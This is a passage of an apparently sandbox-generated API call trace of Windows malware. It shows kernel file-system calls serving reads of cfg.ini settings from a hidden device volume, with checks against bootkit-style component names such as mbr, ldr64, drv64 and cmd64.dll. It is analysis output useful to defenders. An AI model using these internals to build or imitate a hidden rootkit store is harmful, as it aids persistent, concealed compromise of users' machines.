(FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] KeLeaveCriticalRegion () [0119.643] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.643] KeEnterCriticalRegion () [0119.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.643] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.643] IdePortDispatch () returned 0x103 [0119.643] KeWaitForMutexObject () returned 0x0 [0119.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] KeLeaveCriticalRegion () [0119.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.643] KeEnterCriticalRegion () [0119.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003455000 [0119.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.644] IdePortDispatch () returned 0x103 [0119.644] KeWaitForMutexObject () returned 0x0 [0119.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.644] IdePortDispatch () returned 0x103 [0119.644] KeWaitForMutexObject () returned 0x0 [0119.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] KeLeaveCriticalRegion () [0119.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.645] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.645] KeEnterCriticalRegion () [0119.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] KeLeaveCriticalRegion () [0119.645] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.645] KeEnterCriticalRegion () [0119.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.645] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] KeLeaveCriticalRegion () [0119.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.645] KeEnterCriticalRegion () [0119.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] ExFreePoolWithTag (P=0xfffffa80039d67e0, Tag=0x0) [0119.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.645] KeLeaveCriticalRegion () [0119.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.645] ReleaseMutex (hMutex=0xf0) returned 1 [0119.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.646] KeEnterCriticalRegion () [0119.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.646] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.646] IdePortDispatch () returned 0x103 [0119.646] KeWaitForMutexObject () returned 0x0 [0119.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.646] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.646] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.646] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.646] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.646] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda450 [0119.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.646] KeLeaveCriticalRegion () [0119.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.646] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.646] KeEnterCriticalRegion () [0119.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.646] KeLeaveCriticalRegion () [0119.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.646] KeEnterCriticalRegion () [0119.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.646] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.646] IdePortDispatch () returned 0x103 [0119.646] KeWaitForMutexObject () returned 0x0 [0119.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.647] KeLeaveCriticalRegion () [0119.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.647] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.647] KeEnterCriticalRegion () [0119.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003456000 [0119.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.647] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.647] IdePortDispatch () returned 0x103 [0119.648] KeWaitForMutexObject () returned 0x0 [0119.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.648] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.648] IdePortDispatch () returned 0x103 [0119.648] KeWaitForMutexObject () returned 0x0 [0119.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.648] KeLeaveCriticalRegion () [0119.648] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.649] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.649] KeEnterCriticalRegion () [0119.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] KeLeaveCriticalRegion () [0119.649] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.649] KeEnterCriticalRegion () [0119.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.649] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] KeLeaveCriticalRegion () [0119.649] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.649] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.649] KeEnterCriticalRegion () [0119.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] ExFreePoolWithTag (P=0xfffffa8003bda450, Tag=0x0) [0119.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] KeLeaveCriticalRegion () [0119.649] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.649] ReleaseMutex (hMutex=0xf0) returned 1 [0119.649] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.649] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.649] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.649] KeEnterCriticalRegion () [0119.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.649] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.649] IdePortDispatch () returned 0x103 [0119.649] KeWaitForMutexObject () returned 0x0 [0119.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.650] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.650] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.650] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.650] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.650] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcadb0 [0119.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] KeLeaveCriticalRegion () [0119.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.650] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.650] KeEnterCriticalRegion () [0119.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] KeLeaveCriticalRegion () [0119.650] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.650] KeEnterCriticalRegion () [0119.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.650] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.650] IdePortDispatch () returned 0x103 [0119.650] KeWaitForMutexObject () returned 0x0 [0119.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] KeLeaveCriticalRegion () [0119.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.650] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.650] KeEnterCriticalRegion () [0119.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.650] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003457000 [0119.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.650] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.651] IdePortDispatch () returned 0x103 [0119.651] KeWaitForMutexObject () returned 0x0 [0119.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.651] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.651] IdePortDispatch () returned 0x103 [0119.651] KeWaitForMutexObject () returned 0x0 [0119.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.651] KeLeaveCriticalRegion () [0119.651] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.651] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.651] KeEnterCriticalRegion () [0119.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.651] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] KeLeaveCriticalRegion () [0119.652] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.652] KeEnterCriticalRegion () [0119.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.652] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] KeLeaveCriticalRegion () [0119.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.652] KeEnterCriticalRegion () [0119.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] ExFreePoolWithTag (P=0xfffffa8003bcadb0, Tag=0x0) [0119.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] KeLeaveCriticalRegion () [0119.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.652] ReleaseMutex (hMutex=0xf0) returned 1 [0119.652] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.652] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.652] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.652] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.652] KeEnterCriticalRegion () [0119.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.652] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.652] IdePortDispatch () returned 0x103 [0119.652] KeWaitForMutexObject () returned 0x0 [0119.652] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.652] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.652] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.652] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.652] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.652] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.652] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.652] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.653] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.653] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.653] KeLeaveCriticalRegion () [0119.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.653] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.653] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.653] KeEnterCriticalRegion () [0119.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.653] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.653] IdePortDispatch () returned 0x103 [0119.653] KeWaitForMutexObject () returned 0x0 [0119.653] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.653] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.653] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.653] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.653] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.653] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.653] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.653] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.653] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.653] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", 